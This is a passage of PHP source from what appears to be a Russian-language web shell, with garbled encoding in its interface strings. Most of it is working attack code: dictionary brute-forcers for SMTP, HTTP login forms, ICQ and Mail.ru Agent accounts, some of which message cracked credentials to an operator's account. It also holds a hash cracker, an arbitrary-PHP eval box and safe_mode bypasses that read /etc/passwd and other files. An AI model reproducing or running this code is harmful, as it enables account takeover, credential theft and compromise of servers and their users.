5109$pop3=smtplogin($target,$user,$pass,5);
5110
5111if($pop3==-1){echo $errorbox." мЕРЯБЪГХ Я ЯЕПБЕПÐЛ.".$et; break; }else{
5112
5113if ($pop3) { echo "U: ".$user." P: ".$pass."<br>"; if(!$type) { break; }}}
5114
5115flusher();
5116
5117}
5118
5119echo "<br>цÐÐ ÐБÐ!</font>";
5120
5121fclose($dictionary);
5122
5123}else{
5124
5125echo $errorbox." мЕБÐГЛÐФМРÐРЙПШРРЯКÐБЮПÐ.".$et;
5126
5127}
5128
5129}else echo "<center>${t}SMTP ÐПСР:$crack";
5130
5131}
5132
5133function formcracker(){
5134
5135global $errorbox,$footer,$et,$hcwd;
5136
5137$method='POST';
5138
5139if(!empty($_REQUEST['start'])){
5140
5141$url=$_REQUEST['target'];
5142
5143$uf=$_REQUEST['userf'];
5144
5145$pf=$_REQUEST['passf'];
5146
5147$sf=$_REQUEST['submitf'];
5148
5149$sv=$_REQUEST['submitv'];
5150
5151$method=$_REQUEST['method'];
5152
5153$fail=$_REQUEST['fail'];
5154
5155$dic=$_REQUEST['dictionary'];
5156
5157$type=$_REQUEST['combo'];
5158
5159$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
5160
5161if(!file_exists($dic)) { die($errorbox." мЕБÐГЛÐФМРÐРЙПШРРЯКÐБЮПÐ.".$et.$footer); }
5162
5163$dictionary=fopen($dic,'r');
5164
5165$u=parse_url($url);
5166
5167$host=$u['host'];$page=(!empty($u['path']))?$u['path']:'/';
5168
5169echo "<font color=blue>аПСРМЮВЮКЯЪ...<br>";
5170
5171while(!feof($dictionary)){
5172
5173if($type){
5174
5175$combo=trim(fgets($dictionary)," \n\r");
5176
5177$user=substr($combo,0,strpos($combo,':'));
5178
5179$pass=substr($combo,strpos($combo,':')+1);
5180
5181}else{
5182
5183$pass=trim(fgets($dictionary)," \n\r");
5184
5185}
5186
5187$line="";
5188
5189$data=$uf."=".$user."&".$pf."=".$pass."&".$sf."=".$sv;
5190
5191$http=fsockopen($host,80,$errno,$errstr,12);
5192
5193if (!$http) { continue; }
5194
5195if ($method=="POST"){
5196
5197fputs($http,"POST $page HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen( $data )."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
5198
5199}else{
5200
5201fputs($http,"GET $page?$data HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\n\r\n");
5202
5203}
5204
5205while(!feof($http)){
5206
5207$line.=fgets($http,32);
5208
5209}
5210
5211if (!strstr($line,$fail)){echo "<font color=blue>U: $user P: $pass</font><br>";if(!$type)break;}
5212
5213fclose($http);
5214
5215flusher();
5216
5217}
5218
5219fclose($dictionary);
5220
5221echo "цÐÐ ÐБÐ!</font><br>";
5222
5223}
5224
5225else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\">аПСРТÐПЛ:</td><td width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\">ÑКÐБЮПÐ:</td><td width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\">рХО ЯКÐБЮПЪ:</td><td><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;\">Combo (U:P)</td></tr><tr><td width=\"174\">хЛЪ:</td><td><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\">ÑРПЮМХЖЮ:</td><td width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\">лЕРÐД:</td><td width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\">оÐКЕ ДКЪ КÐЦХМЮ:</td><td width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\">оÐКЕ ДКЪ ОЮПÐКЪ:</td><td width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\">Submit name:</td><td width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\">Submit value:</td><td width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\">рЕЙЯРÐЬХÐЙХ:</td><td width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\"></td><td align=right width=\"253\"><input class=buttons type=submit name=start value=ÑРЮПР></td></tr></form></table></center>";
5226
5227}
5228
5229function hashcracker(){
5230
5231global $errorbox,$t,$et,$hcwd;
5232
5233if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
5234
5235$dictionary=fopen($_REQUEST['dictionary'],'r');
5236
5237if ($dictionary){
5238
5239$hash=strtoupper($_REQUEST['hash']);
5240
5241echo "<font color=blue>кÐЛЮЕЛ " . htmlspecialchars($hash)."...<br>";
5242
5243$type=($_REQUEST['type']=='MD5')?'md5':'sha1';
5244
5245while(!feof($dictionary)){
5246
5247$word=trim(fgets($dictionary)," \n\r");
5248
5249if ($hash==strtoupper(($type($word)))){echo "нРБЕР: ".htmlspecialchars($word)."<br>";break;}
5250
5251}
5252
5253echo "цÐÐ ÐБÐ!</font>";
5254
5255fclose($dictionary);
5256
5257}
5258
5259else{
5260
5261echo "$errorbox мЕБÐГЛÐФМРÐРЙПШРРЯКÐБЮПÐ.$et";
5262
5263}
5264
5265}
5266
5267echo "<center>${t}Hash ÐПСР:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">ÑКÐБЮПÐ:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">Hash:</td><td><input type=text name=hash size=35></td></tr><tr><td width=\"20%\">рХО:</td><td><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\"></td><td align=right>$hcwd<input class=buttons type=submit value=ÑРЮПР></td></tr></form></table></center>";
5268
5269}
5270
5271function proxy(){
5272
5273global $errorbox,$et,$footer,$hcwd;
5274
5275echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>юДПЕЯ: </b><input type=text name=url size=140 value=\"";
5276
5277if(!!empty($_REQUEST['url'])) { echo "http://2ip.ru/"; }
5278
5279else { echo htmlspecialchars($_REQUEST['url']); }
5280
5281echo "\">$hcwd<input type=submit class=buttons value=\">>\"></td></tr></form></table>";
5282
5283if (!empty($_REQUEST['url'])){
5284
5285$dir="";
5286
5287$u=parse_url($_REQUEST['url']);
5288
5289$host=$u['host'];$file==(!empty($u['path']))?$u['path']:'/';
5290
5291if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
5292
5293$url=@fsockopen($host, 80, $errno, $errstr, 12);
5294
5295if(!$url)die("<br>$errorbox мЕРЯБЪГХ!$et$footer");
5296
5297fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
5298
5299while(!feof($url)){
5300
5301$con = fgets($url);
5302
5303$con = str_replace("href=mailto","HrEf=mailto",$con);
5304
5305$con = str_replace("HREF=mailto","HrEf=mailto",$con);
5306
5307$con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
5308
5309$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
5310
5311$con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
5312
5313$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
5314
5315$con = str_replace("href=\"http","HrEf=\"".hlink("sec=px&url=http"),$con);
5316
5317$con = str_replace("HREF=\"http","HrEf=\"".hlink("sec=px&url=http"),$con);
5318
5319$con = str_replace("href=\'http","HrEf=\"".hlink("sec=px&url=http"),$con);
5320
5321$con = str_replace("HREF=\'http","HrEf=\"".hlink("sec=px&url=http"),$con);
5322
5323$con = str_replace("href=http","HrEf=".hlink("sec=px&url=http"),$con);
5324
5325$con = str_replace("HREF=http","HrEf=".hlink("sec=px&url=http"),$con);
5326
5327$con = str_replace("href=\"","HrEf=\"".hlink("sec=px&url=http://$host/$dir/"),$con);
5328
5329$con = str_replace("HREF=\"","HrEf=\"".hlink("sec=px&url=http://$host/$dir/"),$con);
5330
5331$con = str_replace("href=\"","HrEf=\'".hlink("sec=px&url=http://$host/$dir/"),$con);
5332
5333$con = str_replace("HREF=\"","HrEf=\'".hlink("sec=px&url=http://$host/$dir/"),$con);
5334
5335$con = str_replace("href=","HrEf=".hlink("sec=px&url=http://$host/$dir/"),$con);
5336
5337$con = str_replace("HREF=","HrEf=".hlink("sec=px&url=http://$host/$dir/"),$con);
5338
5339echo $con;
5340
5341}
5342
5343fclose($url);
5344
5345}
5346
5347}
5348
5349function phpeval(){
5350
5351global $t,$hcwd;
5352
5353if (!empty($_REQUEST['code'])){
5354
5355echo "<center><textarea rows=\"10\" cols=\"64\">";
5356
5357ob_start();
5358
5359eval($_REQUEST['code']);
5360
5361$evalute=ob_get_contents();
5362
5363ob_end_clean();
5364
5365echo htmlspecialchars($evalute);
5366
5367echo "</textarea></center><br>";
5368
5369}
5370
5371echo "<center>${t}Evaler:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">йÐД:</td><td><textarea rows=\"10\" name=\"code\" cols=\"64\">";
5372
5373if(!empty($_REQUEST['code'])) echo htmlspecialchars($_REQUEST['code']);
5374
5375echo "</textarea></td></tr><tr><td width=\"20%\"></td><td align=right>$hcwd<input class=buttons type=submit value=бШОÐКМХРÐ></td></tr></form></table></center>";
5376
5377}
5378
5379function whois(){
5380
5381global $t,$hcwd;
5382
5383if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
5384
5385$server =$_REQUEST['server'];
5386
5387$domain=$_REQUEST['domain']."\r\n";
5388
5389$ser=fsockopen($server,43,$en,$es,5);
5390
5391fputs($ser,$domain);
5392
5393echo "<pre>";
5394
5395while(!feof($ser)) echo fgets($ser);
5396
5397echo "</pre>";
5398
5399fclose($ser);
5400
5401}
5402
5403else{
5404
5405echo "<center>${t}Whois:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">ÑЕПБЕП:</td><td><input type=text value=\"";
5406
5407if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);
5408
5409else echo "whois.geektools.com";
5410
5411echo "\" name=server size=35></td></tr><tr><td width=\"20%\">дÐЛЕМ/IP:</td><td><input type=text name=domain value=\"";
5412
5413if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']);
5414
5415else echo "google.com";
5416
5417echo "\" size=35></td><tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=\">>\"></td></tr></form></table></center>";
5418
5419}
5420
5421}
5422
5423function hexview(){
5424
5425if (!empty($_REQUEST['file'])){
5426
5427$f = $_REQUEST['file'];
5428
5429echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><td width=\"10%\">Offset</td><td width=\"25%\">Hex</td><td width=\"25%\"></td><td width=\"40%\">ASCII</td></tr>";
5430
5431$file = fopen($f,"r");
5432
5433$i= -1;
5434
5435while (!feof($file)) {
5436
5437$ln='';
5438
5439$i++;
5440
5441echo "<tr><td width=\"10%\" bgcolor=\"#";
5442
5443if ($i % 2==0) echo "666666"; else echo "808080";
5444
5445echo "\">"; echo str_repeat("0",(8-strlen($i * 16))).$i * 16; echo "</td>";
5446
5447echo "<td width=\"25%\" bgcolor=\"#";
5448
5449if ($i % 2==0) echo "666666"; else echo "808080";
5450
5451echo "\">";
5452
5453for ($j=0;$j<=7;$j++){
5454
5455if (!feof($file)){
5456
5457$tmp = strtoupper(dechex(ord(fgetc($file))));
5458
5459if (strlen($tmp)==1) $tmp = "0".$tmp;
5460
5461echo $tmp." ";
5462
5463$ln.=$tmp;
5464
5465}
5466
5467}
5468
5469echo "</td><td width=\"25%\" bgcolor=\"#";
5470
5471if ($i % 2==0) echo "666666"; else echo "808080";
5472
5473echo "\">";
5474
5475for ($j=7;$j<=14;$j++){
5476
5477if (!feof($file)){
5478
5479$tmp = strtoupper(dechex(ord(fgetc($file))));
5480
5481if (strlen($tmp)==1) $tmp = "0".$tmp;
5482
5483echo $tmp." ";
5484
5485$ln.=$tmp;
5486
5487}
5488
5489}
5490
5491echo "</td><td width=\"40%\" bgcolor=\"#";
5492
5493if ($i % 2==0) echo "666666"; else echo "808080";
5494
5495echo "\">";
5496
5497$n=0;$asc="";$co=0;
5498
5499for ($k=0;$k<=16;$k++){
5500
5501$co=hexdec(substr($ln,$n,2));
5502
5503if (($co<=31)||(($co>=127)&&($co<=160)))$co=46;
5504
5505$asc.= chr($co);
5506
5507$n+=2;
5508
5509}
5510
5511echo htmlspecialchars($asc);
5512
5513echo "</td></tr>";
5514
5515}
5516
5517}
5518
5519fclose($file);
5520
5521echo "</table>";
5522
5523}
5524
5525
5526
5527function safemode(){
5528
5529global $windows,$t,$hcwd;
5530
5531if (!empty($_REQUEST['file'])){
5532
5533$i=1;
5534
5535echo "<pre>\n<font color=green>лЕРÐД $i:(ini_restore)</font><font color=blue>\n";
5536
5537ini_restore("safe_mode");ini_restore("open_basedir");
5538
5539$tmp = file_get_contents($_REQUEST['file']);
5540
5541echo htmlspecialchars($tmp);
5542
5543$i++;
5544
5545echo "\n</font><font color=green>лЕРÐД $i:(copy)</font><font color=blue>\n";
5546
5547$tmp=tempnam("","cx");
5548
5549copy("compress.zlib://".$_REQUEST['file'], $tmp);
5550
5551$fh = fopen($tmp, "r");
5552
5553$data = fread($fh, filesize($tmp));
5554
5555fclose($fh);
5556
5557echo htmlspecialchars($data);
5558
5559$i++;
5560
5561if(function_exists("curl_init")){
5562
5563echo "\n</font><font color=green>лЕРÐД $i:(curl_init)[A]</font><font color=blue>\n";
5564
5565$fh = @curl_init("file://".$_REQUEST['file']."");
5566
5567$tmp = @curl_exec($fh);
5568
5569echo $tmp;
5570
5571$i++;
5572
5573echo "\n</font><font color=green>лЕРÐД $i:(curl_init)[B]</font><font color=blue>\n";
5574
5575$i++;
5576
5577if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR))
5578
5579$ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__);
5580
5581else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__);
5582
5583curl_exec($ch);
5584
5585var_dump(curl_exec($ch));
5586
5587}
5588
5589if($_REQUEST['file'] == "/etc/passwd"){
5590
5591echo "\n</font><font color=green>лЕРÐД $i:(posix)</font><font color=blue>\n";
5592
5593for($uid=0;$uid<99999;$uid++){
5594
5595$h = posix_getpwuid($uid);
5596
5597if (!empty($h))while (list ($k, $v) = each($h))echo "$v:";}}
5598
5599$i++;
5600
5601echo "</pre></font>";
5602
5603}
5604
5605echo "<center>${t}юМРХаЕГÐОЮЯМШИ ПЕФХЛ:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">тЮИК:</td><td><input type=text value=\"";if (!empty($_REQUEST['file'])) echo htmlspecialchars($_REQUEST['file']);elseif(!$windows) echo "/etc/passwd"; echo "\" name=file size=35></td></tr><tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=\"оПÐВХРЮРÐ\"></td></tr></form></table></center>";
5606
5607}
5608
5609function icqlogin($login,$pass) {
5610
5611$icq = new ICQclient($login,$pass);
5612
5613if($icq->connect()) {
5614
5615if ($icq->login()) {
5616
5617if (!empty($_REQUEST['admin']) && isset($_REQUEST['admin'])) {
5618
5619$icq->send_message($_REQUEST['admin'],"ÑÐПСВЕМ МÐЛЕП:\r\n".$login.";".$pass."\r\nEugen Shell Brutter");
5620
5621}
5622
5623usleep(100);
5624
5625return true;
5626
5627}}
5628
5629return false;
5630
5631}
5632
5633function icqbrute() {
5634
5635global $msgbox,$et;
5636
5637if (!isset($_REQUEST['ibr']) || empty ($_REQUEST['ibr'])) {
5638
5639echo $msgbox."<form action=\"".$_SERVER['PHP_SELF']."?sec=icq&workingdir=".getcwd()."\" method=post>бБЕДХРЕ МÐЛЕПЮ Б БХДЕ МÐЛЕП;ОЮПÐКРМЮ ЯРПÐЙС.<br><textarea rows=20 cols=50 name=ibr></textarea><br><br>оСРРЙ ТЮИКС ДКЪ ЯÐУПЮМЕМХЪ УÐПÐЬХУ ЙÐЛÐХМЮЖХИ.<br>еЯКХ МЕ ЯСЫЕЯРБСЕР- ÐСДЕРЯÐГДЮМ. хМЮВЕ - ОЕПЕГЮОХЯЮМ.<br>оÐКЕ ЛÐФМРÐЯРЮБХРРОСЯРШЛ.<br>тЮИК: <input type=text name=icqfile><br>бЮЬ МÐЛЕП (мЮ МЕЦРОПХИДСРПЕГСКÐРЮРШ. лÐФМРÐЯРЮБХРРОСЯРШЛ.):<br><input type=text name=admin><br><input type=submit value=ÑРЮПР></form><br>".$et;
5640
5641} else {
5642
5643$filegood=$_REQUEST['icqfile'];
5644
5645if (!empty($filegood)) {
5646
5647$fp=@fopen($filegood,"w+");
5648
5649$nums=$_REQUEST['ibr'];
5650
5651$arr=explode("\r\n",$nums);
5652
5653echo "<meta http-equiv='refresh' content='0; URL=".$_SERVER['PHP_SELF']."'>\r\n<script>location.href='".$_SERVER['PHP_SELF']."'</script><a href='".$_SERVER['PHP_SELF']."'>мЮФЛХРЕ ЯЧДЮ</a>";
5654
5655flusher();
5656
5657for ($i=0; $i<count($arr); $i++) {
5658
5659list($uin,$password)=explode(";",$arr[$i]);
5660
5661if (icqlogin($uin,$password)) { fputs($fp,$uin.";".$password."\r\n"); } else {
5662
5663if (icqlogin($uin,$password)) { fputs($fp,$uin.";".$password."\r\n"); }
5664
5665}
5666
5667}
5668
5669fclose($fp);
5670
5671} else {
5672
5673$nums=$_REQUEST['ibr'];
5674
5675$arr=explode("\r\n",$nums);
5676
5677echo $msgbox."<br>ÑÐПСВЕММШЕ МÐЛЕПЮ<br>";
5678
5679flusher();
5680
5681for ($i=0; $i<count($arr); $i++) {
5682
5683list($uin,$password)=explode(";",$arr[$i]);
5684
5685if (!!icqlogin($uin,$password)) {
5686
5687echo $uin.";".$password."<br>";
5688
5689flusher();
5690
5691}}
5692
5693echo $et;
5694
5695}}}
5696
5697function mralogin($login,$pass) {
5698
5699$user_agent = 'magent';
5700
5701$magic = "\xEF\xBE\xAD\xDE";
5702
5703$proto = "\x0A\x00\x01\x00";
5704
5705$mnumb = 0;
5706
5707$socket = @fsockopen("mrim.mail.ru","2042");
5708
5709if (!$socket) { return false; }
5710
5711$answ=fgets($socket, 20);
5712
5713fclose ($socket);
5714
5715list($hostc, $portc) = explode(":", $answ);
5716
5717unset ($socket);
5718
5719unset ($answ);
5720
5721$socket = @fsockopen($hostc,$portc);
5722
5723if (!$socket) { return false; }
5724
5725$mrim_hello = $magic.$proto.pack("L1", $mnumb)."\x01\x10\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
5726
5727fputs($socket,$mrim_hello);
5728
5729$mnumb++;
5730
5731$answ=fgets($socket, 48);
5732
5733$ping_time = ord(unpack("x44 A1", $answ));
5734
5735unset($answ);
5736
5737$login_data = pack('L1',strlen($login)).$login.pack('L1',strlen($pass)).$pass."\x01\x00\x00\x00".pack('L1',strlen($user_agent)).$user_agent;
5738
5739$mrim_login = $magic.$proto.pack("L1", $mnumb)."\x38\x10\x00\x00".pack('L1',strlen($login_data))."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".$login_data;
5740
5741fputs($socket,$mrim_login);
5742
5743$answ=fread($socket, 1024);
5744
5745$mnumb++;
5746
5747if (!strstr($answ,"Invalid login") && !empty($answ) && !strstr($answ,"Access denied")) {
5748
5749if (!empty($_REQUEST['sendto'])) {
5750
5751$to=$_REQUEST['sendto'];
5752
5753$text="ÑÐПСВЕМ ЪЫХЙ ".$login."\r\nоЮПÐКÐ: ".$pass;
5754
5755$data = "\x04\x00\x00\x00".pack ('L1', strlen($to)).$to.pack ('L1', strlen($text)).$text.pack ('L1', '0');
5756
5757$mrim_packet = $magic.$proto.pack("L1", $mnumb)."\x08\x10\x00\x00".pack('L1',strlen($data))."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".$data;
5758
5759fputs($socket,$mrim_packet);
5760
5761}
5762
5763return true;
5764
5765} else {
5766
5767return false;
5768
5769}
5770
5771unset ($answ);
5772
5773fclose($socket);
5774
5775}
5776
5777function mrabrute(){
5778
5779global $msgbox,$et;
5780
5781if (!isset($_REQUEST['mbr']) || empty ($_REQUEST['mbr'])) {
5782
5783echo $msgbox."<form action=\"".$_SERVER['PHP_SELF']."?sec=mbr&workingdir=".getcwd()."\" method=post>бБЕДХРЕ ЪЫХЙХ Б БХДЕ ЪЫХЙ:ОЮПÐКРМЮ ЯРПÐЙС.<br><textarea rows=20 cols=50 name=mbr></textarea><br><br>оСРРЙ ТЮИКС ДКЪ ЯÐУПЮМЕМХЪ УÐПÐЬХУ ЙÐЛÐХМЮЖХИ.<br>еЯКХ МЕ ЯСЫЕЯРБСЕР- ÐСДЕРЯÐГДЮМ. хМЮВЕ - ОЕПЕГЮОХЯЮМ.<br>оÐКЕ ЛÐФМРÐЯРЮБХРРОСЯРШЛ.<br>тЮИК: <input type=text name=mrafile><br>бЮЬ ЪЫХЙ ЮЦЕМРЮ (ДÐКФМЮ ЯРÐЪРРЦЮКÐВЙЮ \"ОПХМХЛЮРРЯÐÐÐЫЕМХЪ ÐРБЯЕУ\")<br>(мЮ МЕЦРОПХИДСРПЕГСКÐРЮРШ. лÐФМРÐЯРЮБХРРОСЯРШЛ.):<br><input type=text name=sendto><br><input type=submit value=ÑРЮПР></form><br>".$et;
5784
5785} else {
5786
5787$filegood=$_REQUEST['mrafile'];
5788
5789if (!empty($filegood)) {
5790
5791$fp=@fopen($filegood,"w+");
5792
5793$nums=$_REQUEST['mbr'];
5794
5795$arr=explode("\r\n",$nums);
5796
5797echo "<meta http-equiv='refresh' content='0; URL=".$_SERVER['PHP_SELF']."'>\r\n<script>location.href='".$_SERVER['PHP_SELF']."'</script><a href='".$_SERVER['PHP_SELF']."'>мЮФЛХРЕ ЯЧДЮ</a>";
5798
5799flusher();
5800
5801for ($i=0; $i<count($arr); $i++) {
5802
5803list($mail,$password)=explode(":",$arr[$i]);
5804
5805if (mralogin($mail,$password)) { fputs($fp,$mail.":".$password."\r\n"); }
5806
5807}
5808
5809fclose($fp);
5810
5811} else {
5812
5813$nums=$_REQUEST['mbr'];
5814
5815$arr=explode("\r\n",$nums);
5816
5817echo $msgbox."<br>ÑÐПСВЕММШЕ ЪЫХЙХ<br>";
5818
5819flusher();
5820
5821for ($i=0; $i<count($arr); $i++) {
5822
5823list($mail,$password)=explode(":",$arr[$i]);
5824
5825if (mralogin($mail,$password)) {
5826
5827echo $mail.":".$password."<br>";
5828
5829flusher();
5830
5831}}
5832
5833echo $et;
5834
5835}}
5836
5837}
5838
5839function cracker(){
5840
5841global $et;
5842
5843$cwd = getcwd();
5844
5845echo "<center><table border=0><tr><td><a href=\"".hlink("sec=hc&workingdir=$cwd")."\">[Hash]</a> - <a href=\"".hlink("sec=smtp&workingdir=$cwd")."\">[SMTP]</a> - <a href=\"".hlink("sec=pop3&workingdir=$cwd")."\">[POP3]</a> - <a href=\"".hlink("sec=imap&workingdir=$cwd")."\">[IMAP]</a> - <a href=\"".hlink("sec=ftp&workingdir=$cwd")."\">[FTP]</a> - <a href=\"".hlink("sec=snmp&workingdir=$cwd")."\">[SNMP]</a> - <a href=\"".hlink("sec=sql&workingdir=$cwd")."\">[MySQL]</a> - <a href=\"".hlink("sec=fcr&workingdir=$cwd")."\">[HTTP ТÐПЛЮ]</a> - <a href=\"".hlink("sec=auth&workingdir=$cwd")."\">[HTTP ЮБРÐПХГЮЖХЪ (basic)]</a> - <a href=\"".hlink("sec=code&workingdir=$cwd")."\">[ьХТПÐБЙЮ Ð¥ ДЕЬХБПÐБЙЮ РЕЙЯРЮ]</a> - <a href=\"".hlink("sec=icq&workingdir=$cwd")."\">[ICQ ÐПСР]</a> - <a href=\"".hlink("sec=mbr&workingdir=$cwd")."\">[MRA ÐПСР]</a> - <a href=\"".hlink("sec=dic&workingdir=$cwd")."\">[цЕМЕПЮРÐП ЯКÐБЮПЕИ]</a>$et</center>";
5846
5847}
5848
5849function tools(){
5850
5851global $et;
5852
5853$cwd = getcwd();
5854
5855echo "<center><table border=0><tr><td><a href=\"".hlink("sec=http&workingdir=$cwd")."\">[InetCrack (HTTP)]</a> - <a href=\"".hlink("sec=fflooder&workingdir=$cwd")."\">[тЮИКÐБШИ ТКСДЕП]</a> - <a href=\"".hlink("sec=prc&workingdir=$cwd")."\">[оПÐЙЯХ-ВЕЙЕП]</a> - <a href=\"".hlink("sec=whois&workingdir=$cwd")."\">[Whois]</a> - <a href=\"".hlink("sec=cryptphp&workingdir=$cwd")."\">[PHP ЙПХОРÐП]</a> - <a href=\"".hlink("sec=calc&workingdir=$cwd")."\">[Convert]</a> - <a href=\"".hlink("sec=hash&workingdir=$cwd")."\">[Hash Calc]</a> - <a href=\"".hlink("sec=selfremove&workingdir=.")."\">[ÑЮЛÐСДЮКЕМХЕ]</a>$et</center>";
5856
5857}
5858
5859function asc2bin($str) {
5860
5861$text_array = explode("\r\n", chunk_split($str, 1));
5862
5863for ($n = 0; $n < count($text_array) - 1; $n++) {
5864
5865$newstring .= substr("0000".base_convert(ord($text_array[$n]), 10, 2), -8);
5866
5867}
5868
5869$newstring = chunk_split($newstring, 8, " ");
5870
5871return $newstring;
5872
5873}
5874
5875function bin2asc($str) {
5876
5877$str = str_replace(" ", "", $str);
5878
5879$text_array = explode("\r\n", chunk_split($str, 8));
5880
5881for ($n = 0; $n < count($text_array) - 1; $n++) {
5882
5883$newstring .= chr(base_convert($text_array[$n], 2, 10));
5884
5885}
5886
5887return $newstring;
5888
5889}
5890
5891function asc2hex($str) {
5892
5893return chunk_split(bin2hex($str), 2, " ");
5894
5895}
5896
5897function hex2asc($str) {
5898
5899$str = str_replace(" ", "", $str);
5900
5901for ($n=0; $n<strlen($str); $n+=2) {
5902
5903$newstring .= pack("C", hexdec(substr($str, $n, 2)));
5904
5905}
5906
5907return $newstring;
5908
5909}
5910
5911function binary2hex($str) {
5912
5913$str = str_replace(" ", "", $str);
5914
5915$text_array = explode("\r\n", chunk_split($str, 8));
5916
5917for ($n = 0; $n < count($text_array) - 1; $n++) {
5918
5919$newstring .= str_pad(base_convert($text_array[$n], 2, 16), 2, "0", STR_PAD_LEFT);
5920
5921}
5922
5923$newstring = chunk_split($newstring, 2, " ");
5924
5925return $newstring;
5926
5927}
5928
5929function hex2binary($str) {
5930
5931$str = str_replace(" ", "", $str);
5932
5933$text_array = explode("\r\n", chunk_split($str, 2));
5934
5935for ($n = 0; $n < count($text_array) - 1; $n++) {
5936
5937$newstring .= substr("0000".base_convert($text_array[$n], 16, 2), -8);
5938
5939}
5940
5941$newstring = chunk_split($newstring, 8, " ");
5942
5943return $newstring;
5944
5945}
5946
5947function caesarbf($str) {
5948
5949$alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
5950
5951echo "<table width=\"85%\" cellpadding=\"2\" align=\"center\">\n";
5952
5953for ($n = 1; $n < 26; $n++) {
5954
5955$cipher = substr($alpha, $n, 26 - $n) . substr($alpha, 0, $n) . substr($alpha, 26+$n, 52-$n) . substr($alpha, 26, $n);
5956
5957if ($n % 2 == 0) {
5958
5959echo '<tr bgcolor="#eeeeee">';
5960
5961} else {
5962
5963echo '<tr bgcolor="#cccccc">';
5964
5965}
5966
5967echo "<td>ROT-$n: ". strtr($str, $alpha, $cipher) ."</td>";
5968
5969}
5970
5971echo "<tr>\n";
5972
5973echo "</table>\n";
5974
5975}
5976
5977function entityenc($str) {
5978
5979$text_array = explode("\r\n", chunk_split($str, 1));
5980
5981for ($n = 0; $n < count($text_array) - 1; $n++) {
5982
5983$newstring .= "&#" . ord($text_array[$n]) . ";";
5984
5985}
5986
5987return $newstring;
5988
5989}
5990
5991function entitydec($str) {
5992
5993$str = str_replace(';', '; ', $str);
5994
5995$text_array = explode(' ', $str);
5996
5997for ($n = 0; $n < count($text_array) - 1; $n++) {
5998
5999$newstring .= chr(substr($text_array[$n], 2, 3));
6000
6001}
6002
6003return $newstring;
6004
6005}
6006
6007function l33t($str) {
6008
6009$from = 'ieastoIEASTO';
6010
6011$to = '134570134570';
6012
6013$newstring = strtr($str, $from, $to);
6014
6015return $newstring;
6016
6017}
6018
6019function del33t($str) {
6020
6021$from = '134570';
6022
6023$to = 'ieasto';
6024
6025$newstring = strtr($str, $from, $to);
6026
6027return $newstring;
6028
6029}
6030
6031function igpay($str) {
6032
6033$text_array = explode(" ", $str);
6034
6035for ($n = 0; $n < count($text_array); $n++) {
6036
6037$newstring .= substr($text_array[$n], 1) . substr($text_array[$n], 0, 1) . "ay ";
6038
6039}
6040
6041return $newstring;
6042
6043}
6044
6045function unigpay($str) {
6046
6047$text_array = explode(" ", $str);
6048
6049for ($n = 0; $n < count($text_array); $n++) {
6050
6051$newstring .= substr($text_array[$n], -3, 1) . substr($text_array[$n], 0, strlen($text_array[$n]) - 3) . " ";
6052
6053}
6054
6055return $newstring;
6056
6057}
6058
